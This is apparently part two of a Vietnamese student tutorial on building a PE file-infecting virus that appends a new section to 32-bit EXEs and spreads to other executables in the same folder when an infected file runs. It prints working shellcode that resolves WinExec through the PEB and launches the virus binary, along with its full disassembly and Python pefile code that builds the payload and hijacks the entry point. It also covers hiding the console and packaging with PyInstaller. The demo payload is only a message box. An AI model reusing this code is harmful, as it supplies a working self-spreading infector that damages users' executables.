Với kỹ thuật chèn cuối này thì mình sẽ có 2 phần: phần chèn vào 1 file PE có sẵn và phần lây nhiễm cho các file PE trong cùng 1 thư mục nếu 1 file PE đã bị nhiễm được kích hoạt.
Phần 2: Lây nhiễm các file EXE cùng thư mục nếu file bị nhiễm được chạy
Nội dung cụ thể
Cụ thể phần lây nhiễm thì mình có ý tưởng như sau: mình biết rằng ở phần trước mình đã tạo 1 chương trình mà nó sẽ tìm kiếm tất cả các file nằm bên trong thư mục nếu chưa được chèn và là 1 file exe 32 bit thì nó sẽ thực hiện lây nhiễm bằng kỹ thuật chèn cuối. Do đó phần này mình sẽ làm sao khi 1 chương trình đã bị nhiễm được chạy thì nó sẽ hiện popup và đồng thời thực thi file chương trình virus mà mình đã tạo ở phần trước, khi thực thi thì chương trình virus này sẽ chạy công việc tìm kiếm file mới và áp dụng kỹ thuật chèn cuối.
Để làm việc đó thì mình sẽ cần tạo 1 shellcode mới có công việc là gọi thực thi file exe có tên mình đã đặt và đó chính là file virus mà mình tạo phần trước. Ở đây mình sẽ đặt tên cho nó là notvirus.exe. Sau khi tạo được shellcode thì mình sẽ đưa nó vào phần payload của chương trình notvirus.exe, mình sẽ đặt shellcode này trước nội dung shellcode gọi popup messagebox. Khi được kích hoạt nó sẽ lần lượt chạy file notvirus.exe và sau đó hiện popup, cuối cùng quay trở lại ban đầu.
Nội dung shellcode các bạn có thể xem trong source code của mình để rõ hơn. Mình sẽ dùng FASM để biên dịch shellcode đó thành file exe.

Sau đó mình sẽ sử dụng object dump để lấy mã máy của shellcode:

Disassembly of section .flat:
00401000 <.flat>:
  401000:       50                      push   eax
  401001:       53                      push   ebx
  401002:       51                      push   ecx
  401003:       52                      push   edx
  401004:       56                      push   esi
  401005:       57                      push   edi
  401006:       55                      push   ebp
  401007:       89 e5                   mov    ebp,esp
  401009:       83 ec 18                sub    esp,0x18
  40100c:       31 f6                   xor    esi,esi
  40100e:       66 56                   push   si
  401010:       6a 63                   push   0x63
  401012:       66 68 78 65             pushw  0x6578
  401016:       68 57 69 6e 45          push   0x456e6957
  40101b:       89 65 fc                mov    DWORD PTR [ebp-0x4],esp
  40101e:       31 f6                   xor    esi,esi
  401020:       64 8b 5e 30             mov    ebx,DWORD PTR fs:[esi+0x30]
  401024:       8b 5b 0c                mov    ebx,DWORD PTR [ebx+0xc]
  401027:       8b 5b 14                mov    ebx,DWORD PTR [ebx+0x14]
  40102a:       8b 1b                   mov    ebx,DWORD PTR [ebx]
  40102c:       8b 1b                   mov    ebx,DWORD PTR [ebx]
  40102e:       8b 5b 10                mov    ebx,DWORD PTR [ebx+0x10]
  401031:       89 5d f8                mov    DWORD PTR [ebp-0x8],ebx
  401034:       8b 43 3c                mov    eax,DWORD PTR [ebx+0x3c]
  401037:       01 d8                   add    eax,ebx
  401039:       8b 40 78                mov    eax,DWORD PTR [eax+0x78]
  40103c:       01 d8                   add    eax,ebx
  40103e:       8b 48 24                mov    ecx,DWORD PTR [eax+0x24]
  401041:       01 d9                   add    ecx,ebx
    401043:       89 4d f4                mov    DWORD PTR [ebp-0xc],ecx
  401046:       8b 78 20                mov    edi,DWORD PTR [eax+0x20]
  401049:       01 df                   add    edi,ebx
  40104b:       89 7d f0                mov    DWORD PTR [ebp-0x10],edi
  40104e:       8b 50 1c                mov    edx,DWORD PTR [eax+0x1c]
  401051:       01 da                   add    edx,ebx
  401053:       89 55 ec                mov    DWORD PTR [ebp-0x14],edx
  401056:       8b 50 14                mov    edx,DWORD PTR [eax+0x14]
  401059:       31 c0                   xor    eax,eax
  40105b:       8b 7d f0                mov    edi,DWORD PTR [ebp-0x10]
  40105e:       8b 75 fc                mov    esi,DWORD PTR [ebp-0x4]
  401061:       31 c9                   xor    ecx,ecx
  401063:       fc                      cld
  401064:       8b 3c 87                mov    edi,DWORD PTR [edi+eax*4]
  401067:       01 df                   add    edi,ebx
  401069:       66 83 c1 08             add    cx,0x8
  40106d:       f3 a6                   repz cmps BYTE PTR ds:[esi],BYTE PTR es:[edi]
  40106f:       74 0a                   je     0x40107b
  401071:       40                      inc    eax
  401072:       39 d0                   cmp    eax,edx
  401074:       72 e5                   jb     0x40105b
  401076:       83 c4 26                add    esp,0x26
  401079:       eb 2b                   jmp    0x4010a6
  40107b:       8b 4d f4                mov    ecx,DWORD PTR [ebp-0xc]
  40107e:       8b 55 ec                mov    edx,DWORD PTR [ebp-0x14]
  401081:       66 8b 04 41             mov    ax,WORD PTR [ecx+eax*2]
  401085:       8b 04 82                mov    eax,DWORD PTR [edx+eax*4]
  401088:       01 d8                   add    eax,ebx
  40108a:       31 d2                   xor    edx,edx
  40108c:       52                      push   edx
  40108d:       68 2e 65 78 65          push   0x6578652e
  401092:       68 69 72 75 73          push   0x73757269
  401097:       68 6e 6f 74 76          push   0x76746f6e
  40109c:       89 e6                   mov    esi,esp
  40109e:       6a 0a                   push   0xa
  4010a0:       56                      push   esi
  4010a1:       ff d0                   call   eax
  4010a3:       83 c4 46                add    esp,0x46
  4010a6:       5d                      pop    ebp
  4010a7:       5f                      pop    edi
  4010a8:       5e                      pop    esi
  4010a9:       5a                      pop    edx
  4010aa:       59                      pop    ecx
  4010ab:       5b                      pop    ebx
  4010ac:       58                      pop    eax
  4010ad:       c3                      ret
Tiếp theo mình lấy chiều dài của shellcode dùng để tính địa chỉ vị trí lưu trữ Caption và Text.

Dưới đây là phần nội dung của run.exe vừa mới biên dịch, mình sử dụng HxD để đọc, mình sẽ chèn phần shellcode messagebox (đã đề cập ở phần 1) vào vị trí sau đây.

Phần màu đỏ sẽ là phần mình mình sẽ đặt payload gọi messagebox vào ngay phía sau shellcode mới tạo. Lưu ý thì mình sẽ đặt sao cho sát với shellcode mới tạo và ghi đè lên opcode C3 nghĩa là lệnh jump để ngăn nó quay lại vị trí ban đầu. Thay vào đó sẽ thực thi tiếp.
Đoạn chương trình mình các bạn có thể xem trong source code mình up trên github, quan trọng là phần tính lại địa chỉ và phần tạo Payload:
pe = pefile.PE(filePath)
# print("\n------------Infecting " + filePath + "------------\n")
# tạo section mới
newSection = createNewSection(pe)
# lấy địa chỉ của hàm MessageBoxW được import vào
msgBoxOff = findMsgBox(pe)
# tính VA của caption và text theo công thức RA – Section RA = VA – Section VA
captionOff = 0xCD + newSection.VirtualAddress + pe.OPTIONAL_HEADER.ImageBase
textOff = 0xF3 + newSection.VirtualAddress + pe.OPTIONAL_HEADER.ImageBase
# tính relative virtual address của OEP để sử dụng nó với lệnh jump quay lại ban đầu
oldEntryPointVA = pe.OPTIONAL_HEADER.AddressOfEntryPoint + pe.OPTIONAL_HEADER.ImageBase
newEntryPointVA =  newSection.VirtualAddress+ pe.OPTIONAL_HEADER.ImageBase
jmp_instruction_VA = newEntryPointVA + 0x14 + 0xad
RVA_oep = oldEntryPointVA - 5 - jmp_instruction_VA
def generatePayload(msgBoxOff, oep, captionOff, textOff, Size):
    '''
    caption: Infetion by NT230: 
    \x49\x00\x6E\x00\x66\x00\x65\x00\x63\x00\x74\x00\x69\x00\x6F\x00\x6E\x00\x20
    \x00\x62\x00\x79\x00\x20\x00\x4E\x00\x54\x00\x32\x00\x33\x00\x30\x00\x00\x00
    text: 19521044_19521190_19520588: 
    \x31\x00\x39\x00\x35\x00\x32\x00\x31\x00\x30\x00\x34\x00\x34\x00\x5F\x00\x31\x00\x39\x00\x35\x00\x32\x00
    \x31\x00\x31\x00\x39\x00\x30\x00\x5F\x00\x31\x00\x39\x00\x35\x00\x32\x00\x30\x00\x35\x00\x38\x00\x38
    '''
    shellcodeToSpread = b'\x50\x53\x51\x52\x56\x57\x55\x89\xE5\x83\xEC\x18\x31\xF6\x66\x56\x6A\x63\x66\x68\x78\x65\x68\x57\x69\x6E\x45\x89\x65\xFC\x31\xF6\x64\x8B\x5E\x30\x8B\x5B\x0C\x8B\x5B\x14\x8B\x1B\x8B\x1B\x8B\x5B\x10\x89\x5D\xF8\x8B\x43\x3C\x01\xD8\x8B\x40\x78\x01\xD8\x8B\x48\x24\x01\xD9\x89\x4D\xF4\x8B\x78\x20\x01\xDF\x89\x7D\xF0\x8B\x50\x1C\x01\xDA\x89\x55\xEC\x8B\x50\x14\x31\xC0\x8B\x7D\xF0\x8B\x75\xFC\x31\xC9\xFC\x8B\x3C\x87\x01\xDF\x66\x83\xC1\x08\xF3\xA6\x74\x0A\x40\x39\xD0\x72\xE5\x83\xC4\x26\xEB\x2B\x8B\x4D\xF4\x8B\x55\xEC\x66\x8B\x04\x41\x8B\x04\x82\x01\xD8\x31\xD2\x52\x68\x2E\x65\x78\x65\x68\x69\x72\x75\x73\x68\x6E\x6F\x74\x76\x89\xE6\x6A\x0A\x56\xFF\xD0\x83\xC4\x46\x5D\x5F\x5E\x5A\x59\x5B\x58'
    
    capLittle = captionOff.to_bytes(4, 'little')
    textLittle = textOff.to_bytes(4, 'little')
    msgBoxLittle = msgBoxOff.to_bytes(4, 'little')
    oepLittle = oep.to_bytes(4, byteorder='little', signed=True)
    payload = shellcodeToSpread
    payload += b'\x6a\x00\x68'+ capLittle+ b'\x68' + textLittle + b'\x6a\x00\xff\x15'+ msgBoxLittle +b'\xe9'+ oepLittle +b'\x00\x00\x00\x00\x00\x00\x00'
    payload += b'\x49\x00\x6E\x00\x66\x00\x65\x00\x63\x00\x74\x00\x69\x00\x6F\x00\x6E\x00\x20\x00\x62\x00\x79\x00\x20\x00\x4E\x00\x54\x00'
    payload += b'\x32\x00\x33\x00\x30\x00\x00\x00\x31\x00\x39\x00\x35\x00\x32\x00\x31\x00\x30\x00\x34\x00\x34\x00\x5F\x00\x31\x00\x39\x00'
    payload += b'\x35\x00\x32\x00\x31\x00\x31\x00\x39\x00\x30\x00\x5F\x00\x31\x00\x39\x00\x35\x00\x32\x00\x30\x00\x35\x00\x38\x00\x38'
    # print(payload)
    dataOfNewSection = bytearray(Size)
    for i in range(len(payload)):
        dataOfNewSection[i]=payload[i]
    return payload
Cuối cùng mình bỏ hết phần print và cũng như đổi tên file từ .py thành .pyw nghĩa là không cho nó show console. Sau đó dùng PyInstaller tạo file exe như phần 1 đã đề cập.


Thực hiện
Trước khi bị lây nhiễm

Sau khi bị lây nhiễm

Tiếp theo mình sẽ lấy 1 file exe mới đưa vào thư mục, mình sẽ sử dụng notepad.exe(32bit). Trước khi kích hoạt cho calc.exe chạy và notepad.exe chưa bị nhiễm

Sau đó click vào file đã nhiễm là calc.exe để chạy, lúc này notepad.exe cũng đã bị lây nhiễm.

Vậy là đã hoàn thành việc lây nhiễm file mới được đưa vào thư mục bằng kích hoạt 1 file đã bị nhiễm rồi. Điểm yếu của cách làm này là cần phải có 1 chương trình virus ban đầu kèm theo ở đay là notvirus.exe. Nếu mà copy file bị nhiễm sang 1 thư mục khác không có file virus ban đầu thì sẽ không thể thực hiện lây nhiễm file khác được.